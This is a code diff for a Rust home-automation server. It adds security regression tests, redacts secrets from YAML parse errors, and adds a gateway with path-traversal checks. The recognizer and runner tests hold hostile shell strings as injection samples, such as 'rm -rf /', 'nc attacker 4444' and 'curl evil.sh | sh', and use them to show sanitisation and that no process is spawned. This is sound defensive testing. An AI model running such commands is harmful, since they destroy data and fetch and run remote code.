+        //   2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
+        //      which *excludes* every shell metacharacter. So when an
+        //      injection-shaped utterance DOES resolve (the regex is not exact-
+        //      anchored), the captured slot is a clean token with the hostile
+        //      tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
+        // This pins the slot-sanitisation-by-construction property: a slot value
+        // can never carry a metachar into a (future) argv.
+        let mut runner = LocalRunner::new(turn_on_recognizer().await);
+        runner.spawn(RufloRunnerOpts::default()).await.unwrap();
+        const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
+        for evil in [
+            "turn on the light; rm -rf /",
+            "turn on the light && shutdown -h now",
+            "turn on the light | nc attacker 4444",
+            "turn on the light `curl evil.sh | sh`",
+            "turn on the light $(reboot)",
+        ] {
+            let resp = runner
+                .send_request(serde_json::json!({"utterance": evil, "language": "en"}))
+                .await
+                .unwrap();
+            if let Some(intent) = resp.intent {
+                if let Some(eid) = intent.entity_id() {
+                    assert!(
+                        !eid.chars().any(|c| METACHARS.contains(&c)),
+                        "resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
+                    );
+                }
+            }
+        }
+    }
+
+    #[tokio::test]
+    async fn runner_opts_are_inert_no_process_spawned() {
+        // SECURITY (command injection): even a hostile `script_path` / `env` in
+        // RufloRunnerOpts is never consumed — `spawn` launches no process. This
+        // documents-and-pins that the data-gated P2 subprocess is genuinely
+        // absent (confirmed Noop/Local, no spawn surface today).
+        let mut env = std::collections::HashMap::new();
+        env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
+        let opts = RufloRunnerOpts {
+            script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
+            env,
+            timeout_ms: 1,
+        };
+        let mut runner = NoopRunner::new();
+        // No panic, no spawn, no error — the opts are pure data.
+        assert!(runner.spawn(opts.clone()).await.is_ok());
+        let mut local = LocalRunner::new(turn_on_recognizer().await);
+        assert!(local.spawn(opts).await.is_ok());
+    }
+
     #[tokio::test]
     async fn local_runner_send_before_spawn_is_not_started() {
         let runner = LocalRunner::new(turn_on_recognizer().await);

v2/crates/homecore-assist/src/semantic_recognizer.rs

@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
+        // Fail-closed on an over-length utterance before embedding/scanning.
+        // Untrusted input must not force an unbounded `to_lowercase` clone +
+        // full tokenisation/embedding. Mirrors the regex recognizer's bound.
+        if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
+            return Ok((None, None));
+        }
         if let Some((id, similarity)) = self.nearest(utterance, language).await {
             if similarity >= self.threshold {
                 let inner = self.index.read().await;
@@ -228,6 +234,32 @@ mod tests {
         r
     }
 
+    #[tokio::test]
+    async fn empty_utterance_against_empty_index_no_panic_no_match() {
+        // SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
+        // empty index must not panic and must yield no intent — the recognizer
+        // falls through to the (also empty) regex fallback. Proves the empty-
+        // iterator `max_by` path returns None cleanly.
+        let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
+        let result = semantic.recognize("", "en").await.unwrap();
+        assert!(result.is_none(), "empty utterance must produce no intent / no action");
+    }
+
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed_semantic() {
+        // SECURITY (DoS / fail-closed): an over-length utterance must short-
+        // circuit before embedding/scanning, returning no intent — even if it
+        // textually contains an enrolled/fallback-matchable command.
+        let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
+        let huge = format!(
+            "{} turn on the kitchen light",
+            "a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
+        );
+        assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
+        let result = semantic.recognize(&huge, "en").await.unwrap();
+        assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
+    }
+
     #[tokio::test]
     async fn semantic_recognizer_delegates_to_fallback() {
         // No exemplars enrolled → empty HNSW index → pure regex fallback.

v2/crates/homecore-migrate/src/lib.rs

@@ -55,6 +55,25 @@ pub enum MigrateError {
         source: serde_yaml::Error,
     },
 
+    /// Parse failure in a SECRET-bearing file (`secrets.yaml`).
+    ///
+    /// Unlike [`MigrateError::YamlParse`], this variant deliberately does NOT
+    /// embed the underlying `serde_yaml::Error` message — that message can quote
+    /// the offending scalar verbatim (e.g. a typed-tag coercion error renders
+    /// `invalid value: string "<the-secret-value>"`), which would leak a secret
+    /// into stderr/logs. We carry only the file path plus a coarse line/column
+    /// so the user can locate the problem without the value being printed.
+    /// (ADR-165 secret-handling rule: a secret value must never appear in output.)
+    #[error(
+        "secrets.yaml parse error in {path} (line {line}, column {column}): \
+         malformed YAML (value content redacted)"
+    )]
+    SecretsParse {
+        path: String,
+        line: usize,
+        column: usize,
+    },
+
     /// Fired when the outer `{version, minor_version}` envelope version is
     /// known but the `minor_version` is not supported by any compiled parser.
     /// Per ADR-165 §6 Q5: hard error on unknown minor_version.

v2/crates/homecore-migrate/src/secrets.rs

@@ -33,11 +33,19 @@ pub fn read_secrets(path: &Path) -> Result<HashMap<String, String>, MigrateError
         return Ok(HashMap::new());
     }
 
-    let parsed: serde_yaml::Value =
-        serde_yaml::from_str(&raw).map_err(|e| MigrateError::YamlParse {
+    // SECURITY: do NOT use `MigrateError::YamlParse` here. serde_yaml error
+    // messages can quote the offending scalar verbatim (a typed-tag coercion
+    // error renders `invalid value: string "<the-secret-value>"`), and that
+    // message would be printed to stderr by the CLI — leaking a secret value.
+    // `MigrateError::SecretsParse` carries only the path + line/column.
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|e| {
+        let loc = e.location();
+        MigrateError::SecretsParse {
             path: path.display().to_string(),
-            source: e,
-        })?;
+            line: loc.as_ref().map_or(0, |l| l.line()),
+            column: loc.as_ref().map_or(0, |l| l.column()),
+        }
+    })?;
 
     let map = match parsed {
         serde_yaml::Value::Mapping(m) => m,
@@ -94,6 +102,59 @@ mod tests {
         assert!(secrets.is_empty());
     }
 
+    /// SECURITY regression (fails on the pre-fix `YamlParse` path): a malformed
+    /// `secrets.yaml` whose offending scalar is a secret value must NOT have that
+    /// value rendered in the returned error. serde_yaml's own error message for a
+    /// typed-tag coercion failure embeds the scalar verbatim
+    /// (`invalid value: string "<secret>"`); the old code wrapped that message
+    /// into `MigrateError::YamlParse { source }`, so `Display` leaked the secret.
+    #[test]
+    fn malformed_secrets_error_never_contains_secret_value() {
+        // `!!int` forces integer coercion of a string scalar; serde_yaml reports
+        // the scalar text in its message. The scalar here is a stand-in secret.
+        let yaml = "api_port: !!int s3cr3t_TOKEN_VALUE\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+
+        // The secret VALUE must never appear in the error output...
+        assert!(
+            !rendered.contains("s3cr3t_TOKEN_VALUE"),
+            "secret value leaked into error: {rendered}"
+        );
+        // ...and the full chain (with #[source]) must also be clean, since the
+        // CLI/anyhow prints the source chain too.
+        let mut source = std::error::Error::source(&err);
+        while let Some(s) = source {
+            assert!(
+                !s.to_string().contains("s3cr3t_TOKEN_VALUE"),
+                "secret value leaked into error source chain: {s}"
+            );
+            source = s.source();
+        }
+
+        // It should still be a structured, locatable error (fail-closed).
+        assert!(
+            matches!(err, MigrateError::SecretsParse { .. }),
+            "expected SecretsParse, got: {err:?}"
+        );
+    }
+
+    /// A secret KEY name is non-sensitive context and is fine to surface, but the
+    /// redacting error must still help the user locate the problem (line/column).
+    #[test]
+    fn malformed_secrets_error_reports_location() {
+        let yaml = "api_port: !!int notanumber\n";
+        let mut f = NamedTempFile::new().unwrap();
+        f.write_all(yaml.as_bytes()).unwrap();
+        let err = read_secrets(f.path()).unwrap_err();
+        let rendered = err.to_string();
+        assert!(rendered.contains("line"), "should report a line: {rendered}");
+        assert!(rendered.contains("redacted"), "should signal redaction: {rendered}");
+    }
+
     #[test]
     fn secret_count_is_correct() {
         let yaml = "a: 1\nb: 2\nc: 3\n";

v2/crates/homecore-server/Cargo.toml

@@ -37,6 +37,26 @@ clap = { version = "4", features = ["derive", "env"] }
 anyhow = "1"
 serde_json = "1"
 axum = { version = "0.7", features = ["macros"] }
+# Static-file serving for the HOMECORE-UI dashboard (ADR-131) mounted at
+# /homecore, request tracing, and the CORS allowlist applied to BOTH the
+# homecore-api routes AND the merged BFF gateway routes (ADR-131 §11).
+tower-http = { version = "0.6", features = ["fs", "trace", "cors"] }
+# BFF gateway (ADR-131 §11): reverse-proxy the calibration API + aggregate
+# upstreams. rustls is requested here, but NOTE this is a WORKSPACE-WIDE
+# concern: cargo feature-unification means a sibling crate that enables
+# reqwest's default `native-tls` re-introduces OpenSSL into the final binary
+# regardless of this opt-out. A real "no OpenSSL on the appliance" guarantee
+# requires every crate that pulls reqwest to align on rustls-only (tracked in
+# CHANGELOG / ADR-131 security note).
+reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] }
+serde = { version = "1", features = ["derive"] }
+# Concurrent fan-out of per-bank RoomState fetches in the gateway (§11 perf).
+futures = "0.3"
+
+[dev-dependencies]
+# Drive the assembled router in integration tests via ServiceExt::oneshot.
+tower = { version = "0.5", features = ["util"] }
+http-body-util = "0.1"
 
 [features]
 default = []

v2/crates/homecore-server/README.md

@@ -116,6 +116,29 @@ export RUST_LOG="homecore=debug,homecore_api=info"
 | `--db` | `HOMECORE_DB` | `sqlite::memory:` | SQLite path (`:memory:` for ephemeral) |
 | `--location-name` | `HOMECORE_LOCATION` | `Home` | Friendly name returned by `/api/config` |
 | `--no-recorder` | — | off | Disable SQLite recorder (low-resource deployments) |
+| `--ui-dir` | `HOMECORE_UI_DIR` | `<crate>/ui` | HOMECORE-UI asset dir served at `/homecore` (ADR-131); empty disables the mount |
+
+## HOMECORE-UI dashboard (ADR-131)
+
+This binary also serves the **HOMECORE-UI** — the complete operational dashboard
+for the two-tier Cognitum stack (v0 Appliance → SEEDs → ESP32 nodes) — at
+`/homecore`, alongside the HA-compat `/api` surface. It is a zero-dependency,
+no-build-step vanilla TS/JS + CSS frontend living in `ui/`:
+
+```bash
+cargo run -p homecore-server          # then open http://localhost:8123/homecore/
+```
+
+It drives the live `/api` + `/api/websocket` (`subscribe_events`) endpoints; panels
+backed by services not in this binary (SEED HTTPS API, calibration ADR-151,
+federation ADR-105) render against a DEMO-flagged contract-conformant mock until
+those endpoints land (ADR-131 §7.1). Frontend tests + benchmark run under plain
+`node` (no `npm install`):
+
+```bash
+cd ui && npm test     # import graph + render-smoke + interaction (24 checks)
+cd ui && npm run bench # bundle budget (~137 KB, ~37× smaller than HA) + render timing
+```
 
 ## Comparison to Home Assistant
 

v2/crates/homecore-server/src/gateway.rs

@@ -0,0 +1,758 @@
+//! HOMECORE-UI backend-for-frontend (BFF) gateway — ADR-131 §11.
+//!
+//! `homecore-server` is the single origin the dashboard talks to (§2.1).
+//! This module adds the `/api/homecore/*` aggregation namespace and the
+//! `/api/cal/*` reverse-proxy to the calibration service, so the browser
+//! never makes a cross-origin call and never holds an upstream credential.
+//!
+//! Implemented now (self-contained, no new external service):
+//!   * `/api/cal/*`            — reverse-proxy → calibration API (ADR-151)   [W2]
+//!   * `GET /api/homecore/rooms` — per-room RoomState, adapted to the UI shape [W2]
+//!   * `GET /api/homecore/cogs`  — COG supervisor over the apps dir           [W4]
+//!   * `GET /api/homecore/appliance` — host metrics from /proc + port probes  [W6]
+//!
+//! Returns a typed `503 upstream_unavailable` for routes whose upstream is
+//! a SEED device / appliance daemon not present in this repo (§11.2 / §12):
+//! seeds, federation, witness, privacy, settings, automations, events
+//! history, hailo, tokens. The front-end renders these as error states
+//! (it never falls back to mock in production — §2.2).
+//!
+//! NOTE: written against the real crate APIs but NOT yet compiled in the
+//! authoring environment (no Rust toolchain); run `cargo test -p
+//! homecore-server` on a Rust host.
+
+use std::path::PathBuf;
+use std::sync::Arc;
+use std::time::Duration;
+
+use axum::body::Bytes;
+use axum::extract::{Path, RawQuery, State};
+use axum::http::{header, HeaderMap, HeaderValue, StatusCode};
+use axum::response::{IntoResponse, Response};
+use axum::routing::get;
+use axum::{Json, Router};
+use serde_json::{json, Value};
+
+use homecore_api::auth::BearerAuth;
+use homecore_api::SharedState;
+
+/// Static gateway configuration (from CLI/env in `main`).
+pub struct GatewayConfig {
+    /// Base URL of the calibration service (`wifi-densepose calibrate-serve`),
+    /// e.g. `http://127.0.0.1:8090`. `None` disables the calibration routes.
+    pub calibration_url: Option<String>,
+    /// Bearer token for the calibration service (held server-side only).
+    pub calibration_token: Option<String>,
+    /// COG install directory the supervisor reads (`/var/lib/cognitum/apps`).
+    pub apps_dir: PathBuf,
+    /// Per-proxy timeout so one slow upstream cannot stall the dashboard.
+    pub timeout: Duration,
+}
+
+#[derive(Clone)]
+pub struct GatewayState {
+    pub shared: SharedState,
+    pub http: reqwest::Client,
+    pub cfg: Arc<GatewayConfig>,
+}
+
+impl GatewayState {
+    pub fn new(shared: SharedState, cfg: GatewayConfig) -> Self {
+        let http = reqwest::Client::builder()
+            .timeout(cfg.timeout)
+            .build()
+            .unwrap_or_else(|_| reqwest::Client::new());
+        Self { shared, http, cfg: Arc::new(cfg) }
+    }
+}
+
+/// Build the gateway router (state already applied → `Router<()>`), ready
+/// to `.merge()` into the main app alongside the homecore-api routes.
+pub fn gateway_router(state: GatewayState) -> Router {
+    Router::new()
+        // ── calibration reverse-proxy (W2) ──────────────────────────
+        .route("/api/cal/*path", get(cal_proxy_get).post(cal_proxy_post))
+        // ── aggregation endpoints (W2 / W4 / W6) ────────────────────
+        .route("/api/homecore/rooms", get(rooms))
+        .route("/api/homecore/cogs", get(cogs_list))
+        .route("/api/homecore/appliance", get(appliance))
+        // ── upstream-dependent stubs (W3 / W5 / W6): typed 503 ───────
+        .route("/api/homecore/seeds", get(stub_503))
+        .route("/api/homecore/seeds/:id", get(stub_503))
+        .route("/api/homecore/federation", get(stub_503))
+        .route("/api/homecore/witness", get(stub_503))
+        .route("/api/homecore/privacy", get(stub_503).post(stub_503))
+        .route("/api/homecore/settings", get(stub_503))
+        .route("/api/homecore/automations", get(stub_503).post(stub_503))
+        // No OTA feed wired yet → "no updates available" is an empty list,
+        // not an error (so a working COG list is never blanked).
+        .route("/api/homecore/cogs/updates", get(empty_list))
+        .route("/api/homecore/hailo", get(stub_503))
+        .route("/api/homecore/tokens", get(stub_503))
+        .route("/api/events", get(stub_503))
+        .with_state(state)
+}
+
+// ── auth + typed errors ─────────────────────────────────────────────
+
+async fn require_auth(headers: &HeaderMap, st: &GatewayState) -> Result<(), Response> {
+    BearerAuth::from_headers(headers, st.shared.tokens())
+        .await
+        .map(|_| ())
+        .map_err(|e| e.into_response())
+}
+
+fn typed(status: StatusCode, error: &str, detail: &str) -> Response {
+    (status, Json(json!({ "error": error, "detail": detail }))).into_response()
+}
+fn upstream_unavailable(detail: &str) -> Response {
+    typed(StatusCode::SERVICE_UNAVAILABLE, "upstream_unavailable", detail)
+}
+fn upstream_timeout(detail: &str) -> Response {
+    typed(StatusCode::GATEWAY_TIMEOUT, "upstream_timeout", detail)
+}
+fn bad_request(detail: &str) -> Response {
+    typed(StatusCode::BAD_REQUEST, "bad_request", detail)
+}
+
+/// Reject a proxied wildcard path that could escape the `/api/` scope on the
+/// upstream calibration service (path-traversal / confused-deputy SSRF —
+/// ADR-131 §11 security review). The privileged server-side calibration bearer
+/// is attached by `proxy()`, so a client must NOT be able to redirect that
+/// credential outside `…/api/`.
+///
+/// Returns `Err(400)` when the path (or its percent-decoded form):
+///   * is absolute (`/…`) — would replace the `…/api/` base entirely,
+///   * contains a backslash (`\`) — Windows/alt-separator traversal,
+///   * has any segment equal to `.` or `..` — dot-segment traversal,
+///   * still carries `%2e%2e` / `%2f` (single-decode is enough — we reject on
+///     the decoded form AND on a residual encoded marker, so double-encoding
+///     like `%252e` decodes once to `%2e` and is caught here).
+///
+/// Legitimate `v1/...` paths (the only shape the UI sends) pass unchanged.
+fn validate_proxy_path(path: &str) -> Result<(), Response> {
+    // 1. Reject on the raw form first (cheap; catches backslash + leading `/`).
+    if path.starts_with('/') {
+        return Err(bad_request("proxied path must be relative (leading '/' not allowed)"));
+    }
+    if path.contains('\\') {
+        return Err(bad_request("proxied path must not contain a backslash"));
+    }
+    // 2. Percent-decode once and re-check; reject if decoding is invalid.
+    let decoded = percent_decode_once(path)
+        .ok_or_else(|| bad_request("proxied path has invalid percent-encoding"))?;
+    if decoded.starts_with('/') || decoded.contains('\\') {
+        return Err(bad_request("proxied path resolves to an absolute/traversal path"));
+    }
+    // 3. Reject any `.`/`..` segment on BOTH the raw and decoded forms so an
+    //    encoded `%2e%2e%2f` cannot slip a dot-segment past the split.
+    for form in [path, decoded.as_str()] {
+        for seg in form.split(['/', '\\']) {
+            if seg == "." || seg == ".." {
+                return Err(bad_request("proxied path must not contain '.' or '..' segments"));
+            }
+        }
+        // Defence in depth: a residual encoded traversal marker survived the
+        // single decode (e.g. originally double-encoded). Reject it outright.
+        let lower = form.to_ascii_lowercase();
+        if lower.contains("%2e") || lower.contains("%2f") || lower.contains("%5c") {
+            return Err(bad_request("proxied path must not contain encoded traversal markers"));
+        }
+    }
+    Ok(())
+}
+
+/// Minimal single-pass percent-decoder (no external dep). Returns `None` on a
+/// malformed escape so callers can fail closed.
+fn percent_decode_once(s: &str) -> Option<String> {
+    let bytes = s.as_bytes();
+    let mut out: Vec<u8> = Vec::with_capacity(bytes.len());
+    let mut i = 0;
+    while i < bytes.len() {
+        match bytes[i] {
+            b'%' => {
+                if i + 2 >= bytes.len() {
+                    return None;
+                }
+                let hi = (bytes[i + 1] as char).to_digit(16)?;
+                let lo = (bytes[i + 2] as char).to_digit(16)?;
+                out.push((hi * 16 + lo) as u8);
+                i += 3;
+            }
+            b => {
+                out.push(b);
+                i += 1;
+            }
+        }
+    }
+    String::from_utf8(out).ok()
+}
+
+/// Routes whose upstream is a SEED device / appliance daemon not present
+/// in this repo. Honest 503 until the corresponding §12 wave lands.
+async fn stub_503(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    upstream_unavailable("endpoint not yet wired — see ADR-131 §11/§12 (SEED device / appliance upstream)")
+}
+
+/// Auth-gated empty-array response (e.g. OTA updates with no feed wired).
+async fn empty_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    Json(Vec::<Value>::new()).into_response()
+}
+
+// ── calibration reverse-proxy (W2) ──────────────────────────────────
+
+async fn cal_proxy_get(
+    State(st): State<GatewayState>,
+    headers: HeaderMap,
+    Path(path): Path<String>,
+    RawQuery(q): RawQuery,
+) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    if let Err(r) = validate_proxy_path(&path) {
+        return r;
+    }
+    let base = match &st.cfg.calibration_url {
+        Some(u) => u,
+        None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
+    };
+    let qs = q.map(|s| format!("?{s}")).unwrap_or_default();
+    // The wildcard already carries the `v1/...` segment (the UI calls
+    // `/api/cal/v1/...`), so map `/api/cal/<rest>` → `<base>/api/<rest>`.
+    let url = format!("{}/api/{}{}", base.trim_end_matches('/'), path, qs);
+    proxy(&st, st.http.get(&url)).await
+}
+
+async fn cal_proxy_post(
+    State(st): State<GatewayState>,
+    headers: HeaderMap,
+    Path(path): Path<String>,
+    body: Bytes,
+) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    if let Err(r) = validate_proxy_path(&path) {
+        return r;
+    }
+    let base = match &st.cfg.calibration_url {
+        Some(u) => u,
+        None => return upstream_unavailable("calibration service not configured (set --calibration-url / HOMECORE_CALIBRATION_URL)"),
+    };
+    let url = format!("{}/api/{}", base.trim_end_matches('/'), path);
+    let rb = st
+        .http
+        .post(&url)
+        .header(header::CONTENT_TYPE, "application/json")
+        .body(body);
+    proxy(&st, rb).await
+}
+
+/// Send an upstream request (with the server-side calibration token) and
+/// stream the response back verbatim, mapping transport failures to typed
+/// errors.
+async fn proxy(st: &GatewayState, mut rb: reqwest::RequestBuilder) -> Response {
+    if let Some(tok) = &st.cfg.calibration_token {
+        rb = rb.bearer_auth(tok);
+    }
+    match rb.send().await {
+        Ok(resp) => {
+            let status = StatusCode::from_u16(resp.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY);
+            let ct = resp
+                .headers()
+                .get(reqwest::header::CONTENT_TYPE)
+                .and_then(|v| v.to_str().ok())
+                .unwrap_or("application/json")
+                .to_string();
+            match resp.bytes().await {
+                Ok(b) => {
+                    let mut out = Response::new(axum::body::Body::from(b));
+                    *out.status_mut() = status;
+                    if let Ok(hv) = HeaderValue::from_str(&ct) {
+                        out.headers_mut().insert(header::CONTENT_TYPE, hv);
+                    }
+                    out
+                }
+                Err(e) => upstream_unavailable(&format!("calibration body read failed: {e}")),
+            }
+        }
+        Err(e) if e.is_timeout() => upstream_timeout("calibration service timed out"),
+        Err(e) => upstream_unavailable(&format!("calibration service: {e}")),
+    }
+}
+
+async fn fetch_json(st: &GatewayState, url: &str) -> Result<Value, Response> {
+    let mut rb = st.http.get(url);
+    if let Some(tok) = &st.cfg.calibration_token {
+        rb = rb.bearer_auth(tok);
+    }
+    match rb.send().await {
+        Ok(resp) => resp
+            .json::<Value>()
+            .await
+            .map_err(|e| upstream_unavailable(&format!("calibration JSON parse: {e}"))),
+        Err(e) if e.is_timeout() => Err(upstream_timeout("calibration service timed out")),
+        Err(e) => Err(upstream_unavailable(&format!("calibration service: {e}"))),
+    }
+}
+
+// ── rooms aggregation + RoomState adapter (W2 / §11.3) ──────────────
+
+async fn rooms(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    let base = match &st.cfg.calibration_url {
+        Some(u) => u.trim_end_matches('/').to_string(),
+        None => return upstream_unavailable("calibration service not configured"),
+    };
+    let banks = match fetch_json(&st, &format!("{base}/api/v1/calibration/baselines")).await {
+        Ok(v) => bank_names(&v),
+        Err(r) => return r,
+    };
+    // Fetch every bank's RoomState concurrently (§11 perf): one slow bank no
+    // longer serialises behind the others. Order is preserved by collecting in
+    // the original bank order.
+    let fetches = banks.into_iter().map(|bank| {
+        let st = &st;
+        let base = base.as_str();
+        async move {
+            let url = format!("{base}/api/v1/room/state?bank={bank}");
+            fetch_json(st, &url).await.ok().map(|v| adapt_room_state(&bank, &v))
+        }
+    });
+    let out: Vec<Value> = futures::future::join_all(fetches)
+        .await
+        .into_iter()
+        .flatten()
+        .collect();
+    Json(out).into_response()
+}
+
+/// Accept either `["living_room", ...]` or `[{ "name"|"id"|"bank": ... }]`.
+fn bank_names(v: &Value) -> Vec<String> {
+    match v {
+        Value::Array(items) => items
+            .iter()
+            .filter_map(|it| match it {
+                Value::String(s) => Some(s.clone()),
+                Value::Object(o) => o
+                    .get("name")
+                    .or_else(|| o.get("id"))
+                    .or_else(|| o.get("bank"))
+                    .and_then(|x| x.as_str())
+                    .map(str::to_string),
+                _ => None,
+            })
+            .collect(),
+        Value::Object(o) => o
+            .get("baselines")
+            .map(|b| bank_names(b))
+            .unwrap_or_default(),
+        _ => Vec::new(),
+    }
+}
+
+/// Adapt the calibration `RoomState` (Option<SpecialistReading> fields +
+/// `vetoed`/`stale`) onto the UI shape (§11.3). `None` → JSON `null`,
+/// preserving the not-trained-vs-withheld distinction (§6 invariant 3).
+fn adapt_room_state(bank: &str, v: &Value) -> Value {
+    let chip = |k: &str| -> Value {
+        match v.get(k) {
+            Some(r) if !r.is_null() => json!({
+                "value": r.get("label").and_then(|l| l.as_str()).map(Value::from)
+                    .unwrap_or_else(|| r.get("value").cloned().unwrap_or(Value::Null)),
+                "confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
+            }),
+            _ => Value::Null,
+        }
+    };
+    let bpm = |k: &str| -> Value {
+        match v.get(k) {
+            Some(r) if !r.is_null() => json!({
+                "value": r.get("value").cloned().unwrap_or(Value::Null),
+                "confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
+            }),
+            _ => Value::Null,
+        }
+    };
+    let anomaly = match v.get("anomaly") {
+        Some(r) if !r.is_null() => json!({
+            "value": r.get("value").cloned().unwrap_or(Value::Null),
+            "confidence": r.get("confidence").cloned().unwrap_or(Value::Null),
+            // §6 invariant 3 (honesty): pass through the REAL anomaly threshold
+            // from the upstream RoomState if present; if absent, emit null
+            // (withheld) — never fabricate a constant. The UI treats null as
+            // withheld, not a fake default.
+            "threshold": r.get("threshold").cloned().unwrap_or(Value::Null),
+        }),
+        _ => Value::Null,
+    };
+    json!({
+        "room_id": bank,
+        "seeds": [],
+        "stale": v.get("stale").and_then(|b| b.as_bool()).unwrap_or(false),
+        "vetoed": v.get("vetoed").and_then(|b| b.as_bool()).unwrap_or(false),
+        "presence": chip("presence"),
+        "posture": chip("posture"),
+        "breathing_bpm": bpm("breathing"),
+        "heart_bpm": bpm("heartbeat"),
+        "restlessness": bpm("restlessness"),
+        "anomaly": anomaly,
+    })
+}
+
+// ── COG supervisor (W4 / §11.6) ─────────────────────────────────────
+
+async fn cogs_list(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    let mut out: Vec<Value> = Vec::new();
+    let rd = match std::fs::read_dir(&st.cfg.apps_dir) {
+        Ok(rd) => rd,
+        Err(_) => return Json(out).into_response(), // no apps dir yet → empty
+    };
+    for entry in rd.flatten() {
+        let dir = entry.path();
+        if !dir.is_dir() {
+            continue;
+        }
+        let manifest = match std::fs::read_to_string(dir.join("manifest.json")) {
+            Ok(s) => s,
+            Err(_) => continue,
+        };
+        let m: Value = match serde_json::from_str(&manifest) {
+            Ok(v) => v,
+            Err(_) => continue,
+        };
+        let id = m
+            .get("id")
+            .and_then(|x| x.as_str())
+            .unwrap_or_else(|| dir.file_name().and_then(|n| n.to_str()).unwrap_or("?"))
+            .to_string();
+        let pid = read_pid(&dir, &id);
+        let alive = pid.map(pid_alive).unwrap_or(false);
+        let status = if alive { "running" } else { "stopped" };
+        out.push(json!({
+            "id": id,
+            "version": m.get("version").and_then(|x| x.as_str()).unwrap_or("?"),
+            "arch": m.get("arch").and_then(|x| x.as_str()).unwrap_or("arm"),
+            "status": status,
+            "pid": pid,
+            "sha256_verified": m.get("binary_sha256").is_some(),
+            "signature_verified": m.get("binary_signature").is_some(),
+            "hef": m.get("hef").cloned().unwrap_or(Value::Null),
+        }));
+    }
+    Json(out).into_response()
+}
+
+fn read_pid(dir: &std::path::Path, id: &str) -> Option<i64> {
+    for name in [format!("{id}.pid"), "pid".to_string(), "app.pid".to_string()] {
+        if let Ok(s) = std::fs::read_to_string(dir.join(&name)) {
+            if let Ok(p) = s.trim().parse::<i64>() {
+                return Some(p);
+            }
+        }
+    }
+    None
+}
+
+fn pid_alive(pid: i64) -> bool {
+    if pid <= 0 {
+        return false;
+    }
+    std::path::Path::new(&format!("/proc/{pid}")).exists()
+}
+
+// ── appliance metrics (W6 / §11.5) ──────────────────────────────────
+
+async fn appliance(State(st): State<GatewayState>, headers: HeaderMap) -> Response {
+    if let Err(r) = require_auth(&headers, &st).await {
+        return r;
+    }
+    let ram = mem_used_pct();
+    let cpu = cpu_load_pct();
+    let uptime = uptime_secs();
+    // Probe the appliance services concurrently with a non-blocking async
+    // connect under a timeout (§11 perf): previously a sequential blocking
+    // `std::net::TcpStream::connect_timeout` stalled the whole async handler
+    // for up to `N * timeout` and parked a Tokio worker thread per probe.
+    let probes = [
+        ("ruview-mcp-brain", 9876u16),
+        ("cognitum-rvf-agent", 9004),
+        ("ruvector-hailo-worker", 50051),
+    ]
+    .into_iter()
+    .map(|(name, port)| {
+        let timeout = st.cfg.timeout;
+        async move {
+            let up = tcp_open("127.0.0.1", port, timeout).await;
+            json!({ "name": name, "port": port, "status": if up { "running" } else { "unreachable" } })
+        }
+    });
+    let services: Vec<Value> = futures::future::join_all(probes).await;
+    Json(json!({
+        "cpu_pct": cpu,
+        "ram_pct": ram,
+        "hailo_load_pct": Value::Null,   // requires the Hailo runtime stat source (§11.5 APPLIANCE)
+        "hailo_temp_c": Value::Null,
+        "uptime_s": uptime,
+        "services": services,
+        "event_rate": [],
+        "channel_capacity": 4096,
+        "channel_lag": 0,
+    }))
+    .into_response()
+}
+
+fn read_first_line(path: &str) -> Option<String> {
+    std::fs::read_to_string(path).ok().and_then(|s| s.lines().next().map(str::to_string))
+}
+
+fn uptime_secs() -> Option<u64> {
+    read_first_line("/proc/uptime")
+        .and_then(|l| l.split_whitespace().next().map(str::to_string))
+        .and_then(|s| s.parse::<f64>().ok())
+        .map(|f| f as u64)
+}
+
+fn mem_used_pct() -> Option<f64> {
+    let txt = std::fs::read_to_string("/proc/meminfo").ok()?;
+    let mut total = 0f64;
+    let mut avail = 0f64;
+    for line in txt.lines() {
+        let mut it = line.split_whitespace();
+        match it.next() {
+            Some("MemTotal:") => total = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
+            Some("MemAvailable:") => avail = it.next().and_then(|v| v.parse().ok()).unwrap_or(0.0),
+            _ => {}
+        }
+    }
+    if total > 0.0 {
+        Some(((total - avail) / total * 100.0 * 10.0).round() / 10.0)
+    } else {
+        None
+    }
+}
+
+fn cpu_load_pct() -> Option<f64> {
+    // loadavg(1m) / ncpu * 100 — a cheap proxy (no two-sample /proc/stat).
+    let load = read_first_line("/proc/loadavg")?
+        .split_whitespace()
